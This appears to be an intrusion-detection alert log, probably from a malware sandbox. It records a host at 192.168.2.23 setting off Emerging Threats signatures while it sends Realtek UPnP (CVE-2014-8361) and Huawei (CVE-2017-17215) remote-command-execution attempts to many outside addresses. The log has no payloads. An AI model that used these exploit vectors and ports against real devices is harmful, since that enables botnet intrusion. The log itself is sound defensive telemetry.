07/20/24-23:02:01.964831	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35084	52869	192.168.2.23	43.175.201.8
07/20/24-23:01:02.064358	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58700	37215	192.168.2.23	41.8.18.232
07/20/24-23:01:42.027932	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40596	52869	192.168.2.23	130.186.238.85
07/20/24-23:01:51.266338	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44988	52869	192.168.2.23	113.178.52.80
07/20/24-23:02:04.520145	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50896	52869	192.168.2.23	42.30.159.48
07/20/24-23:01:45.854405	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50904	52869	192.168.2.23	106.212.70.208
07/20/24-23:01:27.658221	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48414	37215	192.168.2.23	171.210.254.194
07/20/24-23:01:56.001165	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60444	52869	192.168.2.23	133.79.190.240
07/20/24-23:01:04.098080	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36712	37215	192.168.2.23	41.198.76.252
07/20/24-23:01:20.596401	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46360	52869	192.168.2.23	62.216.86.224
07/20/24-23:01:31.983105	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33566	37215	192.168.2.23	41.44.12.1
07/20/24-23:01:41.420715	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41268	52869	192.168.2.23	113.1.100.136
07/20/24-23:01:44.452218	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52330	52869	192.168.2.23	114.234.94.36
07/20/24-23:01:08.590753	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46306	52869	192.168.2.23	169.107.25.12
07/20/24-23:01:46.731900	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56188	52869	192.168.2.23	115.176.151.108
07/20/24-23:01:01.897212	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53882	52869	192.168.2.23	136.74.174.143
07/20/24-23:01:24.877747	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48176	37215	192.168.2.23	191.115.236.117
07/20/24-23:01:27.653586	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48390	37215	192.168.2.23	197.171.117.24
07/20/24-23:01:27.666100	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56836	37215	192.168.2.23	20.160.208.40
07/20/24-23:01:52.569791	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40128	52869	192.168.2.23	209.10.74.49
07/20/24-23:02:04.592319	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49786	52869	192.168.2.23	120.171.198.157
07/20/24-23:01:11.822392	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55546	37215	192.168.2.23	197.245.180.182
07/20/24-23:01:31.322110	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50904	52869	192.168.2.23	175.125.103.77
07/20/24-23:01:43.895587	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33518	52869	192.168.2.23	57.222.50.62
07/20/24-23:01:11.633481	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58682	37215	192.168.2.23	124.20.21.168
07/20/24-23:01:44.565131	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41940	52869	192.168.2.23	179.51.3.253
07/20/24-23:01:46.471349	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33208	52869	192.168.2.23	68.106.199.227
07/20/24-23:01:27.650975	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46192	37215	192.168.2.23	41.158.206.208
07/20/24-23:01:03.919195	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58878	52869	192.168.2.23	162.162.162.31
07/20/24-23:00:57.222279	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58602	37215	192.168.2.23	157.10.69.196
07/20/24-23:01:04.118166	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45782	37215	192.168.2.23	185.92.40.236
07/20/24-23:01:11.631549	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35868	37215	192.168.2.23	197.11.75.129
07/20/24-23:01:44.855022	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35600	52869	192.168.2.23	203.80.83.187
07/20/24-23:02:03.882859	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59642	52869	192.168.2.23	111.184.238.202
07/20/24-23:01:04.040812	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47446	37215	192.168.2.23	41.95.94.208
07/20/24-23:01:27.749737	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47098	37215	192.168.2.23	197.163.214.36
07/20/24-23:01:51.835178	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59778	52869	192.168.2.23	196.117.225.80
07/20/24-23:01:20.150638	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55948	37215	192.168.2.23	197.57.93.26
07/20/24-23:01:24.876437	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53292	37215	192.168.2.23	41.124.8.177
07/20/24-23:01:55.105161	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43056	52869	192.168.2.23	39.142.177.164
07/20/24-23:01:24.910426	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45686	37215	192.168.2.23	157.8.149.199
07/20/24-23:00:57.222129	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40802	37215	192.168.2.23	41.157.99.54
07/20/24-23:01:45.015200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46412	52869	192.168.2.23	50.218.167.53
07/20/24-23:01:09.030401	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33440	52869	192.168.2.23	135.23.236.194
07/20/24-23:01:43.478924	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56258	52869	192.168.2.23	163.162.88.124
07/20/24-23:01:44.944836	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55484	52869	192.168.2.23	113.35.167.52
07/20/24-23:01:42.664090	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52998	52869	192.168.2.23	155.251.124.204
07/20/24-23:02:27.381027	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54888	52869	192.168.2.23	129.78.244.230
07/20/24-23:01:11.631728	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37572	37215	192.168.2.23	197.53.147.58
07/20/24-23:01:47.117979	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37426	52869	192.168.2.23	62.238.174.13
07/20/24-23:01:34.044717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47310	37215	192.168.2.23	13.170.167.126
07/20/24-23:01:41.295717	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41290	52869	192.168.2.23	175.125.31.24
07/20/24-23:01:11.631549	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40492	37215	192.168.2.23	197.217.206.213
07/20/24-23:01:58.035425	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59144	52869	192.168.2.23	206.22.220.245
07/20/24-23:01:07.005156	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44902	37215	192.168.2.23	197.119.197.200
07/20/24-23:01:04.014689	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44888	37215	192.168.2.23	157.42.165.86
07/20/24-23:01:51.130270	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54738	52869	192.168.2.23	49.152.226.6
07/20/24-23:01:25.787139	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49954	52869	192.168.2.23	175.125.103.77
07/20/24-23:01:41.290518	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41866	52869	192.168.2.23	12.129.173.144
07/20/24-23:01:11.816101	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57656	37215	192.168.2.23	41.176.109.210
07/20/24-23:01:41.286911	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52456	52869	192.168.2.23	54.140.169.156
07/20/24-23:01:44.945909	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40546	52869	192.168.2.23	93.177.145.85
07/20/24-23:01:46.439367	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44908	52869	192.168.2.23	119.138.76.79
07/20/24-23:01:27.666100	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56188	37215	192.168.2.23	204.242.74.211
07/20/24-23:01:51.875785	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54080	52869	192.168.2.23	76.116.108.138
07/20/24-23:01:20.181938	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37886	37215	192.168.2.23	157.155.110.53
07/20/24-23:01:52.390301	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51042	52869	192.168.2.23	144.14.202.149
07/20/24-23:01:58.719313	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39752	52869	192.168.2.23	149.74.6.111
07/20/24-23:01:04.049279	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33762	37215	192.168.2.23	210.26.13.127
07/20/24-23:01:09.058270	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54394	52869	192.168.2.23	186.94.179.5
07/20/24-23:01:42.592736	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46258	52869	192.168.2.23	179.149.63.116
07/20/24-23:01:58.190255	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53358	52869	192.168.2.23	199.118.63.112
07/20/24-23:02:08.008782	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37426	52869	192.168.2.23	133.167.87.211
07/20/24-23:01:04.050503	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53458	37215	192.168.2.23	197.5.29.40
07/20/24-23:01:50.223705	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35596	52869	192.168.2.23	63.137.171.145
07/20/24-23:01:52.019773	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42918	52869	192.168.2.23	115.65.225.50
07/20/24-23:01:44.674122	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47054	52869	192.168.2.23	179.149.63.116
07/20/24-23:01:47.808098	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44152	52869	192.168.2.23	49.245.141.79
07/20/24-23:01:08.634900	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45770	52869	192.168.2.23	201.173.108.254
07/20/24-23:01:20.169339	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59268	37215	192.168.2.23	13.220.244.166
07/20/24-23:01:53.068033	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37484	52869	192.168.2.23	125.227.195.47
07/20/24-23:01:42.979245	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34166	52869	192.168.2.23	27.36.59.232
07/20/24-23:01:46.871315	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47642	52869	192.168.2.23	94.51.135.205
07/20/24-23:01:48.171604	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37098	52869	192.168.2.23	170.211.30.37
07/20/24-23:02:48.156942	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46730	52869	192.168.2.23	159.73.240.193
07/20/24-23:01:01.205395	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57088	52869	192.168.2.23	5.1.90.206
07/20/24-23:01:04.637063	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54854	52869	192.168.2.23	164.236.243.93
07/20/24-23:01:07.082045	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53678	37215	192.168.2.23	197.20.163.179
07/20/24-23:01:42.924014	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49876	52869	192.168.2.23	59.110.210.1
07/20/24-23:01:53.494330	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48532	52869	192.168.2.23	197.243.125.183
07/20/24-23:01:41.337240	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57208	52869	192.168.2.23	160.40.68.243
07/20/24-23:01:48.275988	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54988	52869	192.168.2.23	200.200.4.87
07/20/24-23:03:04.216653	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49818	52869	192.168.2.23	137.33.102.155
07/20/24-23:00:57.222229	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54738	37215	192.168.2.23	41.9.160.205
07/20/24-23:01:01.464786	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52634	52869	192.168.2.23	212.114.230.189
07/20/24-23:01:42.207149	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38228	52869	192.168.2.23	51.209.215.233
07/20/24-23:01:42.774505	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41374	52869	192.168.2.23	5.118.234.148
07/20/24-23:01:44.756264	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52646	52869	192.168.2.23	128.242.86.47
07/20/24-23:01:08.686800	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46680	52869	192.168.2.23	216.207.228.137
07/20/24-23:01:02.060344	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52456	37215	192.168.2.23	157.53.255.241
07/20/24-23:01:34.050313	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32978	37215	192.168.2.23	122.34.30.224
07/20/24-23:01:04.053605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46358	37215	192.168.2.23	118.207.69.207
07/20/24-23:01:41.299284	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54778	52869	192.168.2.23	80.104.187.148
07/20/24-23:01:47.870904	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39194	52869	192.168.2.23	39.76.169.126
07/20/24-23:01:55.623247	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54538	52869	192.168.2.23	207.198.69.39
07/20/24-23:01:12.807101	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53936	52869	192.168.2.23	35.68.164.37
07/20/24-23:01:42.056014	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56622	52869	192.168.2.23	179.77.1.115
07/20/24-23:01:46.387777	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44176	52869	192.168.2.23	137.85.104.5
07/20/24-23:02:03.112911	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43688	52869	192.168.2.23	80.223.189.233
07/20/24-23:01:14.117066	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59010	37215	192.168.2.23	197.248.150.138
07/20/24-23:01:42.571884	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47800	52869	192.168.2.23	190.100.221.147
07/20/24-23:01:44.698984	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59242	52869	192.168.2.23	13.31.40.78
07/20/24-23:01:43.586276	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32882	52869	192.168.2.23	177.64.16.178
07/20/24-23:01:46.112515	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37944	52869	192.168.2.23	152.179.89.83
07/20/24-23:01:52.720788	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56934	52869	192.168.2.23	161.89.104.148
07/20/24-23:01:55.903210	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49220	52869	192.168.2.23	185.10.206.42
07/20/24-23:01:02.079114	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43806	37215	192.168.2.23	41.252.46.65
07/20/24-23:01:43.843278	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57508	52869	192.168.2.23	182.49.153.25
07/20/24-23:01:02.328384	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51596	52869	192.168.2.23	195.184.165.232
07/20/24-23:01:02.220064	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47212	52869	192.168.2.23	54.68.100.131
07/20/24-23:01:31.982478	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43552	37215	192.168.2.23	197.121.218.24
07/20/24-23:01:47.674845	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37122	52869	192.168.2.23	138.132.84.64
07/20/24-23:01:01.489542	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44408	52869	192.168.2.23	82.63.31.170
07/20/24-23:01:43.922614	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44866	52869	192.168.2.23	94.187.41.215
07/20/24-23:01:58.143690	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35542	52869	192.168.2.23	192.45.244.106
07/20/24-23:01:02.076414	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33174	37215	192.168.2.23	197.121.129.192
07/20/24-23:01:44.118192	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40918	52869	192.168.2.23	150.183.171.74
07/20/24-23:01:51.047414	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43172	52869	192.168.2.23	203.128.56.168
07/20/24-23:01:06.975117	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51316	37215	192.168.2.23	41.211.71.10
07/20/24-23:01:34.050672	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41876	37215	192.168.2.23	157.212.249.90
07/20/24-23:02:01.929550	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55272	52869	192.168.2.23	219.135.178.135
07/20/24-23:01:20.132103	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58050	37215	192.168.2.23	79.94.2.62
07/20/24-23:01:50.332163	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40454	52869	192.168.2.23	25.245.127.235
07/20/24-23:01:03.258634	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37000	52869	192.168.2.23	77.76.243.3
07/20/24-23:01:14.006983	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45886	52869	192.168.2.23	62.216.86.224
07/20/24-23:01:45.610865	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35466	52869	192.168.2.23	148.216.25.247
07/20/24-23:01:42.714534	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44018	52869	192.168.2.23	39.205.206.142
07/20/24-23:01:52.161851	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38102	52869	192.168.2.23	208.98.159.35
07/20/24-23:01:44.054566	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50458	52869	192.168.2.23	44.113.54.165
07/20/24-23:01:45.452336	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40572	52869	192.168.2.23	90.144.20.22
07/20/24-23:01:03.882590	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50582	52869	192.168.2.23	212.172.247.72
07/20/24-23:01:53.064325	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59782	52869	192.168.2.23	131.175.175.175
07/20/24-23:01:44.440718	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49428	52869	192.168.2.23	159.247.88.93
07/20/24-23:01:24.885849	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53918	37215	192.168.2.23	157.249.229.44
07/20/24-23:01:40.294677	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39424	37215	192.168.2.23	197.141.20.43
07/20/24-23:01:41.182584	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41186	52869	192.168.2.23	150.183.54.123
07/20/24-23:01:45.034156	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45608	52869	192.168.2.23	157.155.242.14
07/20/24-23:02:00.710832	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35548	52869	192.168.2.23	39.235.222.86
07/20/24-23:01:44.602822	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57726	52869	192.168.2.23	34.53.132.35
07/20/24-23:01:43.918137	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35604	52869	192.168.2.23	199.106.155.17
07/20/24-23:01:03.834044	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57978	52869	192.168.2.23	128.89.159.185
07/20/24-23:01:40.332650	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37688	37215	192.168.2.23	157.79.18.234
07/20/24-23:01:00.633742	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49618	37215	192.168.2.23	197.74.184.130
07/20/24-23:01:14.060998	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38858	37215	192.168.2.23	197.31.217.253
07/20/24-23:01:43.084243	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49044	52869	192.168.2.23	128.197.233.56
07/20/24-23:01:04.642910	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56940	52869	192.168.2.23	170.225.184.185
07/20/24-23:01:42.647416	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48246	52869	192.168.2.23	75.199.56.180
07/20/24-23:01:08.621030	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56310	52869	192.168.2.23	136.74.174.143
07/20/24-23:01:49.631749	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52014	52869	192.168.2.23	111.101.151.97
07/20/24-23:01:41.358696	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43296	52869	192.168.2.23	62.203.112.129
07/20/24-23:01:44.455702	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45688	52869	192.168.2.23	207.214.48.137
07/20/24-23:01:40.285038	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42554	37215	192.168.2.23	99.254.210.2
07/20/24-23:01:52.646505	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51246	52869	192.168.2.23	141.217.152.223
07/20/24-23:01:54.835427	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51488	52869	192.168.2.23	105.84.86.167
07/20/24-23:01:52.919383	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55932	52869	192.168.2.23	27.248.134.22
07/20/24-23:01:12.807585	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37972	52869	192.168.2.23	2.129.228.59
07/20/24-23:01:32.034562	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34840	37215	192.168.2.23	41.111.248.140
07/20/24-23:01:02.309528	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60726	52869	192.168.2.23	38.47.147.236
07/20/24-23:01:14.100332	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37614	37215	192.168.2.23	54.24.241.219
